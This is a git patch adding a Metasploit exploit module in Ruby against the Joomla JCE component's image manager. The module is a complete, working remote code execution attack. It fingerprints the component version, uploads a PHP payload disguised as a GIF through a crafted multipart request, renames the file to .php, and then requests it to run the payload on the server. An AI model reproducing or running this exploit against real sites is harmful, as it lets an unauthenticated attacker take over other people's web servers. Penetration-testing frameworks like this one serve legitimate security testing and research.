From b5c65ad51bf5705647033e9532b0c9200798b9a9 Mon Sep 17 00:00:00 2001 From: heyder Date: Fri, 22 Mar 2013 10:41:35 -0300 Subject: [PATCH] add Joomla Component JCE File Upload Code Execution --- .../multi/http/joomla_comjce_imgmanager.rb | 196 ++++++++++++++++++ 1 file changed, 196 insertions(+) create mode 100644 modules/exploits/multi/http/joomla_comjce_imgmanager.rb diff --git a/modules/exploits/multi/http/joomla_comjce_imgmanager.rb b/modules/exploits/multi/http/joomla_comjce_imgmanager.rb new file mode 100644 index 0000000000..fe83efd661 --- /dev/null +++ b/modules/exploits/multi/http/joomla_comjce_imgmanager.rb @@ -0,0 +1,196 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Joomla Component JCE File Upload Code Execution', + 'Description' => %q{ + This module exploits a vulnerability in the JCE component for Joomla! + could allow a unauthenticated remote attacker to upload arbitrary files, + caused by the fails to sufficiently sanitize user-supplied input. + Sending a specially-crafted HTTP request, a remote attacker could exploit + this vulnerability to upload a malicious PHP script, which could allow the + attacker to execute arbitrary PHP code on the vulnerable system. + }, + 'Author' => [ 'Heyder Andrade ' ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['BID', '49338'], + ['EDB', '17734'], + ], + 'Privileged' => false, + 'Payload' => + { + 'Keys' => ['php'], + 'DisableNops' => true, + 'Compat' => + { + 'ConnectionType' => 'find', + }, + 'Space' => 1024, # default upload max_size + }, + 'Platform' => 'php', + 'Arch' => ARCH_PHP, + 'Targets' => [[ 'Automatic', { }]], + 'DisclosureDate' => 'Aug 2 2012', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('URI', [true, "Joomla directory path", "/"]) + ], self.class) + end + + + def get_version + # check imgmanager version + @uri_base = normalize_uri(datastore['URI'], 'index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager') + uri = '' + uri << @uri_base + print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}") + res = send_request_cgi( + { + 'uri' => uri, + 'method' => 'GET', + 'version' => '1.1', + + }, 25) + + if (res and res.code == 200) + res.body.match(%r{^\s+?Image\sManager\s:\s?(.*)<}) + version = $1.nil? ? nil : $1 + end + + return version + end + + def check + version = ( get_version || '').to_s + + if (version.match(%r{1\.5\.7\.1[0-4]?})) + return Exploit::CheckCode::Vulnerable + end + + return Exploit::CheckCode::Safe + end + + + def upload_gif + # add GIF header + cmd_php = "GIF89aG\n<?php #{payload.encoded} ?>" + + # Generate some random strings + @script_name = rand_text_alpha_lower(6) + boundary = '-' * 27 + rand_text_numeric(11) + + uri = '' + uri << @uri_base + uri << '&method=form' + + # POST data + data = "--#{boundary}\r\n" + data << "Content-Disposition: form-data; name=\"upload-dir\"\r\n\r\n" + data << "/\r\n" + data << "--#{boundary}\r\n" + data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"\"\r\n" + data << "Content-Type: application/octet-stream\r\n\r\n" + data << "\r\n" + data << "--#{boundary}\r\n" + data << "Content-Disposition: form-data; name=\"upload-overwrite\"\r\n\r\n" + data << "0\r\n" + data << "--#{boundary}\r\n" + data << "Content-Disposition: form-data; name=\"Filedata\"; filename=\"#{@script_name}.gif\"\r\n" + data << "Content-Type: image/gif\r\n\r\n" + data << "#{cmd_php}\r\n" + data << "--#{boundary}\r\n" + data << "Content-Disposition: form-data; name=\"upload-name\"\r\n\r\n" + data << "#{@script_name}\r\n" + data << "--#{boundary}\r\n" + data << "Content-Disposition: form-data; name=\"action\"\r\n\r\n" + data << "upload\r\n" + data << "--#{boundary}--\r\n\r\n" + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'POST', + 'version' => '1.1', + 'data' => data, + 'ctype' => 'multipart/form-data; boundary=' + boundary + }, 25) + + if (res and res.code = 200 ) + return :access_denied if (res.body =~ /RESTRICTED/i) + print_good("Successfully uploaded #{@script_name}.gif") + else + print_error("Error uploading #{@script_name}.gif") + return :abort + end + + return :success + + end + + def renamed? + # Rename the file from .gif to .php + uri = '' + uri << @uri_base + uri << '&version=1576&cid=20' + + data = "json={\"fn\":\"folderRename\",\"args\":[\"/#{@script_name}.gif\",\"#{@script_name}.php\"]}" + + print_status("Change Extension from #{@script_name}.gif to #{@script_name}.php") + + res = send_request_cgi( + { + 'uri' => uri, + 'method' => 'POST', + 'version' => '1.1', + 'data' => data, + 'ctype' => 'application/x-www-form-urlencoded; charset=utf-8', + 'headers' => + { + 'X-Request' => 'JSON' + } + }, 25) + if (res and res.code == 200 ) + print_good("Renamed #{@script_name}.gif to #{@script_name}.php") + return true + else + print_error("Failed to rename #{@script_name}.gif to #{@script_name}.php") + return false + end + end + + def call_payload + directory = 'images/stories/' + print_status("Calling payload: #{@script_name}.php") + uri = normalize_uri(datastore['URI']) + uri << directory + @script_name + ".php" + res = send_request_raw({ + 'uri' => uri + }, 25) + end + + def exploit + + return if not check == Exploit::CheckCode::Vulnerable + if upload_gif == :success + if renamed? + call_payload + end + end + + end + +end